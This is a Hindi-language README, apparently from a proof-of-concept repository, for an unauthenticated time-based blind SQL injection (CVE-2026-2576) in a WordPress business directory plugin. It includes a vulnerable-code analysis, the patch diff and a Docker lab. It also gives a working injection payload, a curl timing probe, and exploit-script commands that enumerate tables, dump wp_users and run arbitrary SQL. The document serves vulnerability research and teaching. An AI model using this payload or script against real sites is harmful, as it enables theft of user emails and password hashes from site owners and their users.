
CVE-2026-2576 — Business Directory Plugin SQLi PoC (स्थानीय सेटअप)। WordPress ≤ 6.4.21 के लिए Business Directory Plugin में बिना प्रमाणीकरण के Time-Based Blind SQL Injection।
अप्रमाणित टाइम-आधारित ब्लाइंड SQL इंजेक्शन
WordPress के लिए Business Directory Plugin ≤ 6.4.21
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2026-2576 |
| प्लगइन | Business Directory Plugin – Easy Listing Directories for WordPress |
| विक्रेता | strategy11team |
| प्रभावित | 6.4.21 तक के सभी संस्करण |
| पैच किया गया | 6.4.22 |
| प्रकार | टाइम-आधारित ब्लाइंड SQL इंजेक्शन (CWE-89) |
| प्रमाणीकरण | कोई नहीं — पूरी तरह से अप्रमाणित |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| निर्धारक | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| खुलासा | फ़रवरी 18, 2026 |
Business Directory Plugin भुगतान समर्थन के साथ लिस्टिंग निर्देशिका बनाने के लिए व्यापक रूप से उपयोग किया जाने वाला WordPress प्लगइन है। इसके ORM क्वेरी बिल्डर में एक दोष एक अप्रमाणित हमलावर को payment क्वेरी पैरामीटर के माध्यम से टाइम-आधारित ब्लाइंड SQL इंजेक्शन करने की अनुमति देता है, जिससे डेटाबेस सामग्री का अनुमान लगाना संभव हो जाता है।
यह भेद्यता ORM क्वेरी बिल्डर में स्थित है:
फ़ाइल: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ असुरक्षित — कोई सैनिटाइज़ेशन नहीं, सीधे स्ट्रिंग संयोजन
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ सुरक्षित — $wpdb->prepare() का उपयोग करता है
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
जब $v एक स्केलर होता है, तो कोड सही ढंग से $wpdb->prepare() का उपयोग करता है। जब $v एक सरणी होता है, तो यह असुरक्षित शाखा में गिर जाता है और मानों को बिना किसी एस्केपिंग के सीधे SQL स्ट्रिंग में जोड़ देता है।
चेकआउट कंट्रोलर (includes/controllers/pages/class-checkout.php) payment अनुरोध पैरामीटर को पढ़ता है और इसे ORM को भेजता है:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id मान के रूप में पारित किया गया
);
}
PHP स्वचालित रूप से क्वेरी स्ट्रिंग में payment[]=value को एक सरणी $_GET['payment'] = ['value'] में परिवर्तित कर देता है। यह filter_args() में $v को एक सरणी बनने के लिए मजबूर करता है, जिससे असुरक्षित शाखा प्रभावित होती है।
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← [] नोटेशन के कारण सरणी
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → असुरक्षित शाखा
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
उत्पन्न SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- - अनुगामी ') को टिप्पणी के रूप में चिह्नित करता है। IF() एक बूलियन ओरेकल बनाता है, जब स्थिति TRUE होती है, तो SLEEP(N) सक्रिय होता है और प्रतिक्रिया में देरी होती है; जब FALSE होता है तो प्रतिक्रिया तत्काल होती है।
नोट: ORM क्वेरी को प्रति अनुरोध दो बार निष्पादित करता है (एक बार get() में, एक बार maybe_execute_query() में), इसलिए SLEEP(1) पेलोड ~2 सेकंड की अवलोकन योग्य देरी उत्पन्न करता है, और SLEEP(2) ~4 सेकंड उत्पन्न करता है।
एक अप्रमाणित हमलावर टाइम-आधारित प्रतिक्रियाओं के माध्यम से डेटाबेस सामग्री को वर्ण-दर-वर्ण अनुमानित और निकाल सकता है, जिसमें शामिल हैं:
wp_users), उपयोगकर्ता नाम, ईमेल पते, पासवर्ड हैशसंस्करण 6.4.22 में फिक्स filter_args() की सरणी शाखा में सैनिटाइज़ेशन जोड़ता है:
// पहले (असुरक्षित)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// बाद में (पैच किया गया)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python निर्भरताएँ स्थापित करें:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
जब तक आप यह न देखें तब तक प्रतीक्षा करें:
╔══════════════════════════════════════════════════════════╗
║ प्रयोगशाला सेटअप पूर्ण! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ प्लगइन: 6.4.21 (असुरक्षित) ║
║ BD पेज ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# अपेक्षित: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# http://localhost:8082 पर एक्सेस करें (root / rootpass)
सभी कमांड आपके Kali होस्ट पर प्रयोगशाला रूट निर्देशिका से चलाए जाते हैं।
http://localhost:8080 का उपयोग करें (होस्ट → Docker पोर्ट मैपिंग)।
payment_key को wp_wpbdp_payments में मौजूदा पंक्ति के अनुरूप होना चाहिए।
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
अपेक्षित: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| फ़्लैग | डिफ़ॉल्ट | नोट्स |
|---|---|---|
--sleep N | 1 | प्रति ओरेकल SLEEP(N)। TRUE ≈ N×2s। कम = तेज़, अधिक शोर |
--threads N | 4 | समानांतर वर्ण स्थितियाँ। आधुनिक हार्डवेयर पर 8 अच्छा काम करता है |
# सबसे तेज़ निष्कर्षण
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# आधार रेखा: < 0.1s में वापस आना चाहिए
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# स्लीप प्रोब: ~4s में वापस आना चाहिए (SLEEP(2) × 2 निष्पादन)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
असुरक्षित संस्करण की तुलना पैच किए गए संस्करण से करने के लिए:
python3 poc/patch_diff.py
# पूर्ण डिफ के लिए
python3 poc/patch_diff.py --full
# दोनों संस्करण डाउनलोड करें
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# असुरक्षित फ़ाइल का डिफ करें
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
डिफ filter_args() की सरणी शाखा में जोड़ा गया esc_sql() दिखाएगा।
# प्रयोगशाला रोकें (डेटा संरक्षित रहता है)
docker compose stop
# पुनः प्रारंभ करें
docker compose start
# पूर्ण टियरडाउन — सभी वॉल्यूम और डेटा नष्ट करता है
docker compose down -v
# शुरू से सेटअप फिर से चलाएं
docker compose down -v && docker compose up setup
# WordPress कंटेनर में शेल
docker exec -it lab_wordpress bash
# WordPress PHP त्रुटि लॉग देखें
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# MySQL क्वेरी लॉग को वास्तविक समय में देखें
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() दस्तावेज़ — https://developer.wordpress.org/reference/classes/wpdb/prepare/यह रिपॉजिटरी केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। सभी परीक्षण एक पृथक स्थानीय प्रयोगशाला वातावरण में किए गए थे। इस टूल को उन प्रणालियों के विरुद्ध कभी न चलाएं जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। कंप्यूटर प्रणालियों तक अनधिकृत पहुंच कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA) और अन्य न्यायक्षेत्रों के समकक्ष कानूनों के तहत अवैध है।
लेखक इस सामग्री के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। हमेशा जिम्मेदार खुलासा प्रथाओं का पालन करें — यदि आप इस शोध पर आधारित नई खोजें करते हैं, तो प्रकाशन से पहले विक्रेता के साथ समन्वय करें।
Kali Linux पर एक पृथक Docker प्रयोगशाला में शोध और विकसित किया गया।